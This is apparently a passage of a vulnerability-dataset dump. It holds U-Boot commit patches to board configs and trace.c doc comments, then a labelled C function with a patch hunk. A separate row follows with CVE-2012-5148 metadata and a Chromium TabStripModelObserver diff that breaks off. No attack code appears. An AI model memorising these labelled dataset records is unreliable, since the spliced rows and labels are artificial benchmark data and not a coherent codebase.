CONFIG_SYS_LOAD_ADDR\t\tCONFIG_SYS_TEXT_BASE\n+\n+#define CONFIG_SKIP_LOWLEVEL_INIT\n+\n+#ifdef CONFIG_MTD_RAW_NAND\n+#define CONFIG_SYS_MAX_NAND_DEVICE\t1\n+#define CONFIG_SYS_NAND_SELF_INIT\n+#define CONFIG_SYS_NAND_ONFI_DETECTION\n+#endif /* CONFIG_MTD_RAW_NAND */\n+\n+/*\n+ * 968360bg\n+ */"}<_**next**_>{"sha": "9362e9322cdb165d2138ed8f1cc642e52a06f192", "filename": "include/configs/dragonboard410c.h", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/dragonboard410c.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/dragonboard410c.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/dragonboard410c.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -69,7 +69,6 @@ REFLASH(dragonboard/u-boot.img, 8)\\\n #define CONFIG_EXTRA_ENV_SETTINGS \\\n \t\"reflash=\"CONFIG_ENV_REFLASH\"\\0\"\\\n \t\"loadaddr=0x81000000\\0\" \\\n-\t\"fdt_high=0xffffffffffffffff\\0\" \\\n \t\"initrd_high=0xffffffffffffffff\\0\" \\\n \t\"linux_image=Image\\0\" \\\n \t\"kernel_addr_r=0x81000000\\0\"\\"}<_**next**_>{"sha": "82c2a129223e6fd071e84c086dd42e9d390cb2cd", "filename": "include/configs/km_kirkwood.h", "status": "modified", "additions": 5, "deletions": 10, "changes": 15, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/km_kirkwood.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/km_kirkwood.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/km_kirkwood.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -38,15 +38,10 @@\n #define CONFIG_SYS_KWD_CONFIG $(CONFIG_BOARDDIR)/kwbimage_128M16_1.cfg\n #define CONFIG_KM_DISABLE_PCIE\n \n-/* KM_NUSA / KM_SUGP1 */\n-#elif defined(CONFIG_KM_NUSA) || defined(CONFIG_KM_SUGP1)\n+/* KM_NUSA */\n+#elif defined(CONFIG_KM_NUSA)\n \n-# if defined(CONFIG_KM_NUSA)\n #define CONFIG_HOSTNAME\t\t\t\"kmnusa\"\n-# elif defined(CONFIG_KM_SUGP1)\n-#define CONFIG_HOSTNAME\t\t\t\"kmsugp1\"\n-#define KM_PCIE_RESET_MPP7\n-#endif\n \n #undef CONFIG_SYS_KWD_CONFIG\n #define CONFIG_SYS_KWD_CONFIG $(CONFIG_BOARDDIR)/kwbimage_128M16_1.cfg\n@@ -58,9 +53,9 @@\n #define CONFIG_HOSTNAME\t\t\t\"kmcoge5un\"\n #define CONFIG_KM_DISABLE_PCIE\n \n-/* KM_SUV31 */\n-#elif defined(CONFIG_KM_SUV31)\n-#define CONFIG_HOSTNAME\t\t\t\"kmsuv31\"\n+/* KM_SUSE2 */\n+#elif defined(CONFIG_KM_SUSE2)\n+#define CONFIG_HOSTNAME\t\t\t\"kmsuse2\"\n #undef CONFIG_SYS_KWD_CONFIG\n #define CONFIG_SYS_KWD_CONFIG $(CONFIG_BOARDDIR)/kwbimage_128M16_1.cfg\n #define CONFIG_KM_UBI_PART_BOOT_OPTS\t\t\",2048\""}<_**next**_>{"sha": "0224ac41484c444f42896fc7ea91e95c4be968fe", "filename": "include/configs/kmp204x.h", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/kmp204x.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/kmp204x.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/kmp204x.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -224,6 +224,10 @@ unsigned long get_board_sys_clk(unsigned long dummy);\n #define CONFIG_KM_CONSOLE_TTY\t\"ttyS0\"\n \n /* I2C */\n+/* QRIO GPIOs used for deblocking */\n+#define KM_I2C_DEBLOCK_PORT QRIO_GPIO_A\n+#define KM_I2C_DEBLOCK_SCL 20\n+#define KM_I2C_DEBLOCK_SDA 21\n \n #define CONFIG_SYS_I2C\n #define CONFIG_SYS_I2C_INIT_BOARD"}<_**next**_>{"sha": "1ef75a87836b22905edccf59bd6b6caca62328ec", "filename": "include/configs/qemu-arm.h", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/qemu-arm.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/qemu-arm.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/qemu-arm.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -17,6 +17,8 @@\n #define CONFIG_SYS_LOAD_ADDR\t\t(CONFIG_SYS_SDRAM_BASE + SZ_2M)\n #define CONFIG_SYS_MALLOC_LEN\t\tSZ_16M\n \n+#define CONFIG_SYS_BOOTM_LEN\t\tSZ_64M\n+\n /* For timer, QEMU emulates an ARMv7/ARMv8 architected timer */\n #define CONFIG_SYS_HZ 1000\n "}<_**next**_>{"sha": "922eec43ee1779a6e89f5e5f765242956fcb8d63", "filename": "include/configs/stemmy.h", "status": "added", "additions": 29, "deletions": 0, "changes": 29, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/stemmy.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/configs/stemmy.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/configs/stemmy.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,29 @@\n+/* SPDX-License-Identifier: GPL-2.0-or-later */\n+/*\n+ * Copyright (C) 2019 Stephan Gerhold <stephan@gerhold.net>\n+ */\n+#ifndef __CONFIGS_STEMMY_H\n+#define __CONFIGS_STEMMY_H\n+\n+#include <linux/sizes.h>\n+\n+#define CONFIG_SKIP_LOWLEVEL_INIT\t/* Loaded by another bootloader */\n+#define CONFIG_SYS_MALLOC_LEN\t\tSZ_2M\n+\n+/* Physical Memory Map */\n+#define PHYS_SDRAM_1\t\t\t0x00000000\t/* DDR-SDRAM Bank #1 */\n+#define CONFIG_SYS_SDRAM_BASE\t\tPHYS_SDRAM_1\n+#define CONFIG_SYS_SDRAM_SIZE\t\tSZ_1G\n+#define CONFIG_SYS_INIT_RAM_SIZE\t0x00100000\n+#define CONFIG_SYS_GBL_DATA_OFFSET\t(CONFIG_SYS_SDRAM_BASE + \\\n+\t\t\t\t\t CONFIG_SYS_INIT_RAM_SIZE - \\\n+\t\t\t\t\t GENERATED_GBL_DATA_SIZE)\n+#define CONFIG_SYS_INIT_SP_ADDR\t\tCONFIG_SYS_GBL_DATA_OFFSET\n+\n+/* FIXME: This should be loaded from device tree... */\n+#define CONFIG_SYS_L2_PL310\n+#define CONFIG_SYS_PL310_BASE\t\t0xa0412000\n+\n+#define CONFIG_SYS_LOAD_ADDR\t\t0x00100000\n+\n+#endif"}<_**next**_>{"sha": "9bd764f0c9e6663ba55617bbcb5ae632f51bf639", "filename": "include/dt-bindings/arm/ux500_pm_domains.h", "status": "added", "additions": 15, "deletions": 0, "changes": 15, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/arm/ux500_pm_domains.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/arm/ux500_pm_domains.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/dt-bindings/arm/ux500_pm_domains.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,15 @@\n+/* SPDX-License-Identifier: GPL-2.0-only */\n+/*\n+ * Copyright (C) 2014 Linaro Ltd.\n+ *\n+ * Author: Ulf Hansson <ulf.hansson@linaro.org>\n+ */\n+#ifndef _DT_BINDINGS_ARM_UX500_PM_DOMAINS_H\n+#define _DT_BINDINGS_ARM_UX500_PM_DOMAINS_H\n+\n+#define DOMAIN_VAPE\t\t0\n+\n+/* Number of PM domains. */\n+#define NR_DOMAINS\t\t(DOMAIN_VAPE + 1)\n+\n+#endif"}<_**next**_>{"sha": "fb42dd0cab5fc00e0999473e2135eb48ad42a692", "filename": "include/dt-bindings/clock/ste-ab8500.h", "status": "added", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/clock/ste-ab8500.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/clock/ste-ab8500.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/dt-bindings/clock/ste-ab8500.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,12 @@\n+/* SPDX-License-Identifier: GPL-2.0 */\n+#ifndef __STE_CLK_AB8500_H__\n+#define __STE_CLK_AB8500_H__\n+\n+#define AB8500_SYSCLK_BUF2\t0\n+#define AB8500_SYSCLK_BUF3\t1\n+#define AB8500_SYSCLK_BUF4\t2\n+#define AB8500_SYSCLK_ULP\t3\n+#define AB8500_SYSCLK_INT\t4\n+#define AB8500_SYSCLK_AUDIO\t5\n+\n+#endif"}<_**next**_>{"sha": "0404bcc47dd4f4688d94a0236e3b99544e6ad9d3", "filename": "include/dt-bindings/mfd/dbx500-prcmu.h", "status": "added", "additions": 84, "deletions": 0, "changes": 84, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/mfd/dbx500-prcmu.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/include/dt-bindings/mfd/dbx500-prcmu.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/include/dt-bindings/mfd/dbx500-prcmu.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,84 @@\n+/* SPDX-License-Identifier: GPL-2.0 */\n+/*\n+ * This header provides constants for the PRCMU bindings.\n+ *\n+ */\n+\n+#ifndef _DT_BINDINGS_MFD_PRCMU_H\n+#define _DT_BINDINGS_MFD_PRCMU_H\n+\n+/*\n+ * Clock identifiers.\n+ */\n+#define ARMCLK\t\t\t0\n+#define PRCMU_ACLK\t\t1\n+#define PRCMU_SVAMMCSPCLK \t2\n+#define PRCMU_SDMMCHCLK \t2 /* DBx540 only. */\n+#define PRCMU_SIACLK \t\t3\n+#define PRCMU_SIAMMDSPCLK \t3 /* DBx540 only. */\n+#define PRCMU_SGACLK \t\t4\n+#define PRCMU_UARTCLK \t\t5\n+#define PRCMU_MSP02CLK \t\t6\n+#define PRCMU_MSP1CLK \t\t7\n+#define PRCMU_I2CCLK \t\t8\n+#define PRCMU_SDMMCCLK \t\t9\n+#define PRCMU_SLIMCLK \t\t10\n+#define PRCMU_CAMCLK \t\t10 /* DBx540 only. */\n+#define PRCMU_PER1CLK \t\t11\n+#define PRCMU_PER2CLK \t\t12\n+#define PRCMU_PER3CLK \t\t13\n+#define PRCMU_PER5CLK \t\t14\n+#define PRCMU_PER6CLK \t\t15\n+#define PRCMU_PER7CLK \t\t16\n+#define PRCMU_LCDCLK \t\t17\n+#define PRCMU_BMLCLK \t\t18\n+#define PRCMU_HSITXCLK \t\t19\n+#define PRCMU_HSIRXCLK \t\t20\n+#define PRCMU_HDMICLK\t\t21\n+#define PRCMU_APEATCLK \t\t22\n+#define PRCMU_APETRACECLK \t23\n+#define PRCMU_MCDECLK \t \t24\n+#define PRCMU_IPI2CCLK \t25\n+#define PRCMU_DSIALTCLK \t26\n+#define PRCMU_DMACLK \t \t27\n+#define PRCMU_B2R2CLK \t \t28\n+#define PRCMU_TVCLK \t \t29\n+#define SPARE_UNIPROCLK \t30\n+#define PRCMU_SSPCLK \t \t31\n+#define PRCMU_RNGCLK \t \t32\n+#define PRCMU_UICCCLK \t \t33\n+#define PRCMU_G1CLK 34 /* DBx540 only. */\n+#define PRCMU_HVACLK 35 /* DBx540 only. */\n+#define PRCMU_SPARE1CLK\t \t36\n+#define PRCMU_SPARE2CLK\t \t37\n+\n+#define PRCMU_NUM_REG_CLOCKS \t38\n+\n+#define PRCMU_RTCCLK \t \tPRCMU_NUM_REG_CLOCKS\n+#define PRCMU_SYSCLK \t \t39\n+#define PRCMU_CDCLK \t \t40\n+#define PRCMU_TIMCLK \t \t41\n+#define PRCMU_PLLSOC0 \t \t42\n+#define PRCMU_PLLSOC1 \t \t43\n+#define PRCMU_ARMSS \t \t44\n+#define PRCMU_PLLDDR \t \t45\n+\n+/* DSI Clocks */\n+#define PRCMU_PLLDSI \t \t46\n+#define PRCMU_DSI0CLK \t \t47\n+#define PRCMU_DSI1CLK \t \t48\n+#define PRCMU_DSI0ESCCLK \t49\n+#define PRCMU_DSI1ESCCLK \t50\n+#define PRCMU_DSI2ESCCLK \t51\n+\n+/* LCD DSI PLL - Ux540 only */\n+#define PRCMU_PLLDSI_LCD 52\n+#define PRCMU_DSI0CLK_LCD 53\n+#define PRCMU_DSI1CLK_LCD 54\n+#define PRCMU_DSI0ESCCLK_LCD 55\n+#define PRCMU_DSI1ESCCLK_LCD 56\n+#define PRCMU_DSI2ESCCLK_LCD 57\n+\n+#define PRCMU_NUM_CLKS \t58\n+\n+#endif"}<_**next**_>{"sha": "72ff0e993b1dd0afc47656ebeb548ec047f848db", "filename": "lib/.gitignore", "status": "added", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/lib/.gitignore", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/lib/.gitignore", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/lib/.gitignore?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1 @@\n+oid_registry_data.c"}<_**next**_>{"sha": "ea8c8e0d406ff86eb0ee0f5f4902b8b2197ecf90", "filename": "lib/trace.c", "status": "modified", "additions": 36, "deletions": 18, "changes": 54, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/lib/trace.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/lib/trace.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/lib/trace.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -130,13 +130,13 @@ static void __attribute__((no_instrument_function)) add_textbase(void)\n }\n \n /**\n- * This is called on every function entry\n+ * __cyg_profile_func_enter() - record function entry\n *\n * We add to our tally for this function and add to the list of called\n * functions.\n *\n- * @param func_ptr\tPointer to function being entered\n- * @param caller\tPointer to function which called this function\n+ * @func_ptr:\tpointer to function being entered\n+ * @caller:\tpointer to function which called this function\n */\n void __attribute__((no_instrument_function)) __cyg_profile_func_enter(\n \t\tvoid *func_ptr, void *caller)\n@@ -161,12 +161,10 @@ void __attribute__((no_instrument_function)) __cyg_profile_func_enter(\n }\n \n /**\n- * This is called on every function exit\n+ * __cyg_profile_func_exit() - record function exit\n *\n- * We do nothing here.\n- *\n- * @param func_ptr\tPointer to function being entered\n- * @param caller\tPointer to function which called this function\n+ * @func_ptr:\tpointer to function being entered\n+ * @caller:\tpointer to function which called this function\n */\n void __attribute__((no_instrument_function)) __cyg_profile_func_exit(\n \t\tvoid *func_ptr, void *caller)\n@@ -180,16 +178,16 @@ void __attribute__((no_instrument_function)) __cyg_profile_func_exit(\n }\n \n /**\n- * Produce a list of called functions\n+ * trace_list_functions() - produce a list of called functions\n *\n * The information is written into the supplied buffer - a header followed\n * by a list of function records.\n *\n- * @param buff\t\tBuffer to place list into\n- * @param buff_size\tSize of buffer\n- * @param needed\tReturns size of buffer needed, which may be\n- *\t\t\tgreater than buff_size if we ran out of space.\n- * @return 0 if ok, -1 if space was exhausted\n+ * @buff:\tbuffer to place list into\n+ * @buff_size:\tsize of buffer\n+ * @needed:\treturns size of buffer needed, which may be\n+ *\t\tgreater than buff_size if we ran out of space.\n+ * Return:\t0 if ok, -ENOSPC if space was exhausted\n */\n int trace_list_functions(void *buff, size_t buff_size, size_t *needed)\n {\n@@ -236,6 +234,18 @@ int trace_list_functions(void *buff, size_t buff_size, size_t *needed)\n \treturn 0;\n }\n \n+/**\n+ * trace_list_functions() - produce a list of function calls\n+ *\n+ * The information is written into the supplied buffer - a header followed\n+ * by a list of function records.\n+ *\n+ * @buff:\tbuffer to place list into\n+ * @buff_size:\tsize of buffer\n+ * @needed:\treturns size of buffer needed, which may be\n+ *\t\tgreater than buff_size if we ran out of space.\n+ * Return:\t0 if ok, -ENOSPC if space was exhausted\n+ */\n int trace_list_calls(void *buff, size_t buff_size, size_t *needed)\n {\n \tstruct trace_output_hdr *output_hdr = NULL;\n@@ -281,7 +291,9 @@ int trace_list_calls(void *buff, size_t buff_size, size_t *needed)\n \treturn 0;\n }\n \n-/* Print basic information about tracing */\n+/**\n+ * trace_print_stats() - print basic information about tracing\n+ */\n void trace_print_stats(void)\n {\n \tulong count;\n@@ -320,10 +332,11 @@ void __attribute__((no_instrument_function)) trace_set_enabled(int enabled)\n }\n \n /**\n- * Init the tracing system ready for used, and enable it\n+ * trace_init() - initialize the tracing system and enable it\n *\n- * @param buff\t\tPointer to trace buffer\n- * @param buff_size\tSize of trace buffer\n+ * @buff:\tPointer to trace buffer\n+ * @buff_size:\tSize of trace buffer\n+ * Return:\t0 if ok\n */\n int __attribute__((no_instrument_function)) trace_init(void *buff,\n \t\tsize_t buff_size)\n@@ -385,6 +398,11 @@ int __attribute__((no_instrument_function)) trace_init(void *buff,\n }\n \n #ifdef CONFIG_TRACE_EARLY\n+/**\n+ * trace_early_init() - initialize the tracing system for early tracing\n+ *\n+ * Return:\t0 if ok, -ENOSPC if not enough memory is available\n+ */\n int __attribute__((no_instrument_function)) trace_early_init(void)\n {\n \tulong func_count = gd->mon_len / FUNC_SITE_SIZE;"}<_**next**_>{"sha": "cbc95029ffbf65609f075ba56d2f36bee8c5de4b", "filename": "scripts/config_whitelist.txt", "status": "modified", "additions": 1, "deletions": 2, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/scripts/config_whitelist.txt", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/scripts/config_whitelist.txt", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/scripts/config_whitelist.txt?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -939,8 +939,7 @@ CONFIG_KM_KIRKWOOD_PCI\n CONFIG_KM_NEW_ENV\n CONFIG_KM_NUSA\n CONFIG_KM_ROOTFSSIZE\n-CONFIG_KM_SUGP1\n-CONFIG_KM_SUV31\n+CONFIG_KM_SUSE2\n CONFIG_KM_UBI_LINUX_MTD\n CONFIG_KM_UBI_PARTITION_NAME_APP\n CONFIG_KM_UBI_PARTITION_NAME_BOOT"}
|
static void set_bootcount_addr(void)
{
uchar buf[32];
unsigned int bootcountaddr;
bootcountaddr = gd->ram_size - BOOTCOUNT_ADDR;
sprintf((char *)buf, "0x%x", bootcountaddr);
env_set("bootcountaddr", (char *)buf);
}
|
static void set_bootcount_addr(void)
{
uchar buf[32];
unsigned int bootcountaddr;
bootcountaddr = gd->ram_size - BOOTCOUNT_ADDR;
sprintf((char *)buf, "0x%x", bootcountaddr);
env_set("bootcountaddr", (char *)buf);
}
|
C
| null | null | null |
@@ -69,11 +69,7 @@ static const u32 kwmpp_config[] = {
MPP4_NF_IO6,
MPP5_NF_IO7,
MPP6_SYSRST_OUTn,
-#if defined(KM_PCIE_RESET_MPP7)
- MPP7_GPO,
-#else
MPP7_PEX_RST_OUTn,
-#endif
#if defined(CONFIG_SYS_I2C_SOFT)
MPP8_GPIO, /* SDA */
MPP9_GPIO, /* SCL */
|
u-boot
|
master
|
052170c6a043eec4e73fad80955876cf1ba5e4f2
| 0
|
static void set_bootcount_addr(void)
{
uchar buf[32];
unsigned int bootcountaddr;
bootcountaddr = gd->ram_size - BOOTCOUNT_ADDR;
sprintf((char *)buf, "0x%x", bootcountaddr);
env_set("bootcountaddr", (char *)buf);
}
|
126,863
| null |
Remote
|
Not required
|
Partial
|
CVE-2012-5148
|
https://www.cvedetails.com/cve/CVE-2012-5148/
|
CWE-20
|
Low
|
Partial
|
Partial
| null |
2013-01-15
| 7.5
|
The hyphenation functionality in Google Chrome before 24.0.1312.52 does not properly validate file names, which has unspecified impact and attack vectors.
|
2018-10-30
| null | 0
|
https://github.com/chromium/chromium/commit/e89cfcb9090e8c98129ae9160c513f504db74599
|
e89cfcb9090e8c98129ae9160c513f504db74599
|
Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/browser/ui/views/frame/browser_view.cc
|
{"sha": "3494da8b6ee160b5f04f031be3e2cd52af5e3fdf", "filename": "chrome/browser/automation/automation_provider_observers.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/automation/automation_provider_observers.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/automation/automation_provider_observers.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/automation/automation_provider_observers.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -488,7 +488,7 @@ void TabCountChangeObserver::TabInsertedAt(WebContents* contents,\n CheckTabCount();\n }\n \n-void TabCountChangeObserver::TabDetachedAt(TabContents* contents,\n+void TabCountChangeObserver::TabDetachedAt(WebContents* contents,\n int index) {\n CheckTabCount();\n }"}<_**next**_>{"sha": "77545c9b07b2b01d3ac5d58750b9b1e7f1325e97", "filename": "chrome/browser/automation/automation_provider_observers.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/automation/automation_provider_observers.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/automation/automation_provider_observers.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/automation/automation_provider_observers.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -320,7 +320,8 @@ class TabCountChangeObserver : public TabStripModelObserver {\n virtual void TabInsertedAt(content::WebContents* contents,\n int index,\n bool foreground) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabStripModelDeleted() OVERRIDE;\n \n private:"}<_**next**_>{"sha": "5c42f4a70952bd681fa78d35e68d2a5821fab2a4", "filename": "chrome/browser/extensions/browser_event_router.cc", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/extensions/browser_event_router.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/extensions/browser_event_router.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/browser_event_router.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -206,24 +206,24 @@ void BrowserEventRouter::TabInsertedAt(WebContents* contents,\n EventRouter::USER_GESTURE_UNKNOWN);\n }\n \n-void BrowserEventRouter::TabDetachedAt(TabContents* contents, int index) {\n- if (!GetTabEntry(contents->web_contents())) {\n+void BrowserEventRouter::TabDetachedAt(WebContents* contents, int index) {\n+ if (!GetTabEntry(contents)) {\n // The tab was removed. Don't send detach event.\n return;\n }\n \n scoped_ptr<ListValue> args(new ListValue());\n- args->Append(Value::CreateIntegerValue(\n- ExtensionTabUtil::GetTabId(contents->web_contents())));\n+ args->Append(Value::CreateIntegerValue(ExtensionTabUtil::GetTabId(contents)));\n \n DictionaryValue* object_args = new DictionaryValue();\n object_args->Set(tab_keys::kOldWindowIdKey, Value::CreateIntegerValue(\n- ExtensionTabUtil::GetWindowIdOfTab(contents->web_contents())));\n+ ExtensionTabUtil::GetWindowIdOfTab(contents)));\n object_args->Set(tab_keys::kOldPositionKey, Value::CreateIntegerValue(\n index));\n args->Append(object_args);\n \n- DispatchEvent(contents->profile(), events::kOnTabDetached, args.Pass(),\n+ Profile* profile = Profile::FromBrowserContext(contents->GetBrowserContext());\n+ DispatchEvent(profile, events::kOnTabDetached, args.Pass(),\n EventRouter::USER_GESTURE_UNKNOWN);\n }\n "}<_**next**_>{"sha": "dea21866fc0d027081bf1180249aa82f1239f8f8", "filename": "chrome/browser/extensions/browser_event_router.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/extensions/browser_event_router.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/extensions/browser_event_router.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/extensions/browser_event_router.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -46,7 +46,8 @@ class BrowserEventRouter : public TabStripModelObserver,\n virtual void TabClosingAt(TabStripModel* tab_strip_model,\n content::WebContents* contents,\n int index) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void ActiveTabChanged(TabContents* old_contents,\n TabContents* new_contents,\n int index,"}<_**next**_>{"sha": "745b8770bae3ba12ac5776a170ea41789940c013", "filename": "chrome/browser/ui/ash/launcher/browser_launcher_item_controller.cc", "status": "modified", "additions": 4, "deletions": 3, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.cc?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -186,10 +186,11 @@ void BrowserLauncherItemController::TabInsertedAt(\n UpdateAppState(contents);\n }\n \n-void BrowserLauncherItemController::TabDetachedAt(TabContents* contents,\n- int index) {\n+void BrowserLauncherItemController::TabDetachedAt(\n+ content::WebContents* contents,\n+ int index) {\n launcher_controller()->UpdateAppState(\n- contents->web_contents(), ChromeLauncherController::APP_STATE_REMOVED);\n+ contents, ChromeLauncherController::APP_STATE_REMOVED);\n }\n \n void BrowserLauncherItemController::TabChangedAt("}<_**next**_>{"sha": "9573d67275c8c38585570d1cb9c02ad0a4c3877a", "filename": "chrome/browser/ui/ash/launcher/browser_launcher_item_controller.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/ash/launcher/browser_launcher_item_controller.h?ref=e89cfcb9090e8c98129ae9160c513f504db74599", "patch": "@@ -90,7 +90,8 @@ class BrowserLauncherItemController : public LauncherItemController,\n virtual void TabInsertedAt(content::WebContents* contents,\n int index,\n bool foreground) OVERRIDE;\n- virtual void TabDetachedAt(TabContents* contents, int index) OVERRIDE;\n+ virtual void TabDetachedAt(content::WebContents* contents,\n+ int index) OVERRIDE;\n virtual void TabChangedAt(\n TabContents* tab,\n int index,"}<_**next**_>{"sha": "35f8b8820a49ed92899250ef56d97f91bd690475", "filename": "chrome/browser/ui/ash/launcher/chrome_launcher_controller.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/chrome_launcher_controller.h", "raw_url": "https://github.com/chromium/chromium/raw/e89cfcb9090e8c98129ae9160c513f504db74599/chrome/browser/ui/ash/launcher/chrome_launcher_controller.h", "contents_url": 